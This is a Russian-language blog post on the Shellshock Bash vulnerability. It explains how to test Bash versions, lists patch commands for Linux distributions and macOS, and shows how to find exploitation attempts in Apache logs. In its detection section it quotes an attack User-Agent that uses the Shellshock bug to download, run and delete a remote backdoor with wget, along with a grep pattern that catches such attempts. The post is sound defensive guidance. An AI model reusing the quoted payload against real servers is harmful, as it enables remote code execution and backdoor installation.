Shellshock: как проверить и обновить потенциально уязвимые системы

Предыдущие посты по теме BashBug/Shellshock:

• Bash-ествие: серьёзнейший баг в популярной командной оболочке
• BashBug/Shellshock по прошествии нескольких дней

Пока отрасль информационной безопасности до конца не оправилась после обнаруженной на прошлой неделе уязвимости Shellshock (она же BashBug), самое время прикинуть, что можно и нужно сделать с этим прямо сейчас. Поспешные попытки выпустить патч обернулись неудачей, но теперь уже, кажется, появились все необходимые обновления, что, безусловно, является хорошей новостью.

Во-первых, нужно определить версию Bash на работающей системе. Самый простой и быстрый путь сделать это на Linux – вот такая команда:
bash —version

Или, если вы в настоящее время работаете в самой оболочке:

$ echo $BASH_VERSION

Подвержены все версии от 1.14 до 4.3.

Защитите себя от #Shellshock/#Bashbug #security

Tweet

Чтобы полностью удостовериться, что вы используете уязвимую (или надежную) версию Bash, есть тестовая строчка кода от Red Hat:

$ env ‘x=() { :;}; echo vulnerable’ ‘BASH_FUNC_x()=() { :;}; echo vulnerable’ bash -c «echo test»

Если видите на выходе слово «vulnerable», то вы, к сожалению, используете версию с багом.

Уязвимость Bash, в конечном счете, породила всего четыре проблемы, обозначенные как CVE-2014-6271 (оригинальная), CVE-2014-7169, CVE-2014-7186 и CVE-2014-7187. Нет никакой гарантии, что позднее не будут выявлены другие слабые места, поэтому настоятельно рекомендуется следить за обновлениями Bash.

Более подробная информация доступна здесь.

Стоит отметить, что разные версии Bash (с разными примененными патчами) дают различные результаты.

Для пользователей «маков» lifehacker.com предлагает очень похожий тест:

Откройте терминал и введите:

env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’

Если вы не уязвимы, то получите следующий результат:

bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x’ hello

Если вы уязвимы, то получите:

vulnerable hello

Внесение исправлений

Ниже приводится список рекомендаций от разных поставщиков дистрибутивов Linux. Крайне важно отметить, что существует множество версий этих дистрибутивов, и каждый из них имеет собственную версию Bash. Обновление до последней версии не всегда возможно, необходимо, или безопасно, по крайней мере, стандартными методами. Мы привели перечень рекомендаций вендоров относительно бага в Bash; большинство из них содержат ссылки на соответствующие пакеты.

Мы постарались предоставить базовую информацию о патчах для Shellshock в Mac OS X и наиболее распространенных дистрибутивах Linux. Если вы обнаружите, что мы что-то упустили, пожалуйста, не стесняйтесь нас известить об этом!

1. Red Hat

«Финальные» обновления Bash от Red Hat с рядом разъяснений по теме доступны здесь.

2. Debian

Обратите внимание, что стабильный релиз Debian4.2+dfsg-0.1+deb7u3 уже решил данную проблему.

3. Ubuntu

Bash в дистрибутивах и Ubuntu, и Debian можно также обновить ​​через apt-get:

sudo apt-get update && sudo apt-get install –only-upgrade bash

Подробные инструкции по обновлению находятся тут.

4. CentOS

В двух словах, CentOS рекомендует пользователям обновиться при помощи команды «yumupdate».

5. SUSE

Их список рекомендаций содержит три уязвимости (CVE-2014-7169, CVE-2014-7186, CVE-2014-7187), все они уже исправлены. Целиком патч обновления устанавливается с помощью YaSTonline_update. В качестве альтернативы для конкретных версий можно использовать следующие команды:

— SUSE Linux Enterprise Software Development Kit 11 SP3:

zypper in -t patch sdksp3-bash-9780

— SUSE Linux Enterprise Server 11 SP3 for VMware:

zypper in -t patch slessp3-bash-9780

— SUSE Linux Enterprise Server 11 SP3:

zypper in -t patch slessp3-bash-9780

— SUSE Linux Enterprise Server 11 SP2 LTSS:

zypper in -t patch slessp2-bash-9781

— SUSE Linux Enterprise Server 11 SP1 LTSS:

zypper in -t patch slessp1-bash-9782

— SUSE Linux Enterprise Desktop 11 SP3:

zypper in -t patch sledsp3-bash-9780

Для приведения системы в актуальное состояние используйте «zypperpatch».

6. Mandriva

Относящиеся к CVE-2014-7169 рекомендации по безопасности описывают как саму проблему, так и процедуру обновления.

7. Slackware

Рекомендации дают перечень огромного количества пакетов Bash для версий 13.0, 13.1, 13.37, 14.0 и 14.1.

8. Gentoo

Информация по исправлению уязвимости CVE-2014-7169.

Как насчет Mac OS X?

Mac OS X, если верить Apple, не подвержена Shellshock/BashBug, если только — и это важно – не задействованы расширенные функции Unix. Системы являются безопасными по умолчанию и не подвержены удаленным эксплойтам Bash, «если только пользователи не настраивали дополнительные службы Unix», заявили в Apple.

Скорее всего, это связано с использованием машины на базе Mac OS X в качестве веб-сервера с установленными скриптами Apache и CGI. К счастью, Apple быстро выпустила соответствующий патч.

#Shellshock/#Bashbug: патчи вышли, пора их ставить #security

Tweet

Зацепило ли меня?

Сейчас много говорят о том, как обнаружить попытку эксплуатации бага. Роберт Грэм написал тестовый код с некоторыми деталями, и в комментариях люди сообщили о получении уведомления или даже запуске IPS. Грэм утверждает, что некая вредоносная программа теперь использует его тестовый код как user-agent. Так что, если вас пингует blog.erratasec.com, вполне может быть, что кто-то вас пытается атаковать.

Попытка атаки может оставлять в логах сервера след, подобный этому:

UserAgent: () { :;}; /bin/bash —c «wget —O /var/tmp/ec.z 74.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm —rf /var/tmp/ec.z*»

Как сообщается на одном российском форуме по безопасности, это была попытка «скормить» системе замаскированный perlBot-бэкдор.

Если у вас сервер Apache, то эта команда —

[root@server ~]# grep cgi /var/log/httpd/access*|egrep «};|}s*;»

— извлекает из логов доступа Apacheвсе строки, содержащие «cgi» (по умолчанию они называются access_log, access_log.1, access_log.2 и т.д.), затем направляет их в egrep с регулярным выражением. Но это отобразит атаки только в URL назначения и в заголовках «User-Agent» и «Referer». Атаки в таких заголовках, как «Cookie» или «Х-Ploit» не будут регистрироваться.

В противном случае, компрометация сервера имеет видимые последствия, такие как рост сетевого/почтового трафика и использования CPU/памяти, подозрительные соединения и процессы, а также других особенности, более или менее типичные для активности вредоносных программ.